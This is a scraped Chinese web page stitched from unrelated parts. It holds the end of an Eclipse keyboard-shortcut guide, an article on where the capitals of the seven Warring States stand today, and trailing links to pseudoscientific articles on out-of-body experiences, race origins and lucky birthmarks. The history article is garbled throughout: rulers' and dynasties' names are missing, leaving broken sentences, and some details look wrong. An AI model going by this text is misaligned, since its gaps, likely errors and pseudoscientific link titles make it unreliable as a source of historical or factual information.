这个快捷键可以帮助我们快速注释或取消注释一段代码,方便调试和理解。
二、快捷键提高导航1、Ctrl + Shift + R:打开资源。
通过输入文件名的一部分,可以快速定位并打开项目中的文件。
2、Ctrl + Shift + T:打开类型。
通过输入类名的一部分,可以快速定位并打开项目中的类。
3、Ctrl + Shift + G:查找引用。
可以快速查找当前选中元素的引用,方便代码分析和修改。
三、快捷键提高编辑1、Ctrl + F:查找。
可以快速在当前文件中查找指定的内容。
2、Ctrl + H:全局搜索。
可以在整个项目中搜索指定的内容。
3、Ctrl + Shift + F:格式化代码。
可以自动调整代码的缩进和格式,使其更加整洁易读。
总结:通过掌握这些常用的Eclipse快捷键,我们可以大大提高开发效率,节省宝贵的时间。
当然,除了这些快捷键之外,Eclipse还有许多其他强大的功能等待我们去探索。
希望本文对大家在使用Eclipse时有所帮助,并激发大家对于更高效开发的探索和研究。
昔日战国七雄的国都现在在什么地方 这些城市现在是什么样子
可是,随着历史的发展,这些城市又因为种种因素没落了,沦为的小县城,被后人所遗忘。
在两千多年前的战国时期,由于社会生产力低下,繁荣富庶的城市很少很少,能够算得上繁荣富庶的或许只有仅存的七个诸侯国的国都,也就是的国都。
战国七雄的国都,分别是秦国的咸阳,韩国的新郑,赵国的邯郸,魏国的大梁,楚国的寿春,燕国的蓟城,齐国的临淄。
这七个在历史上繁荣富庶的国都,随着历史的发展,有的成为国际都市,有的沦为四线小县城。
秦国咸阳: 咸阳成为秦国的国都,是在在位期间,此后一直都是秦国的国都。
建立后,帝继续定都咸阳。
秦朝灭亡后,咸阳作为全国中心的地位被长安取代。
今天的咸阳,是陕西省地级市,属于三线城市。
韩国新郑: 新郑成为韩国的国都,是在韩哀侯在位期间,此后一直都是韩国的国都。
秦朝建立后,新郑隶属颍川郡,此后几经变迁,但都是隶属于一个郡。
今天的新郑,是河南省郑州市下辖的县级市,是一个四五线的小县城。
赵国邯郸: 邯郸成为赵国的国都,是在在位期间,此后一直都是赵国的国都,是当时首屈一指的大都市。
秦朝建立后,邯郸隶属于邯郸郡,此后上千年,邯郸仍然是一个较为繁荣富庶的大都市。
今天的邯郸,是河北省地级市,属于三线城市。
魏国大梁: 大梁成为魏国的国都,是在魏惠王在位期间,此后一直都是魏国的国都。
秦国灭魏国时,秦军水淹大梁,几乎把大梁夷为平地,跟废墟无异。
此后上千年,大梁没有重建。
今天的大梁,只剩下遗址,位于河南省开封市附近。
楚国寿春: 寿春成为楚国的国都,是在在位期间,此后一直都是楚国的国都。
秦国灭楚国后,寿春的地位急剧下降,几乎默默无闻。
今天的寿春,是安徽省淮南市下辖的一个县级市,相当于四五线小县城。
燕国蓟城: 蓟城成为燕国的国都,是在燕庄公在位期间,此后一直都是燕国的国都,是战国七雄的国都中历史最久的一个。
此后蓟城沉寂了一千多年,后来政治地位迅速上升,先后成为金朝、、、的国都,名称也多次变化。
今天的蓟城,正是今天的中国首都北京,属于一线城市,也是一个国际都市。
齐国临淄: 临淄成为齐国的国都,是在齐太公发动代齐之后,此后临淄都是齐国的国都。
临淄作为时期最繁荣富庶的国都,在秦朝建立后,地位一落千丈,逐渐变得默默无闻。
今天的临淄,是山东省淄博市的市辖区。
随机文章灵魂出窍最简单方法,灵魂出窍有危险吗(4招学会灵魂出窍)嫦娥拍到美国登月舱遗址,网传美国登月骗局谣言被打脸(键盘大神失败)揭秘黄种人是所有人种的祖先吗?晒的少变白种人/暴晒变黑种人揭秘最有福气的10处胎记图片,屁股上长胎记竟然是大富大贵的象征比较中西方神话的异同,中国神话歌颂祖先/西方神话表达现实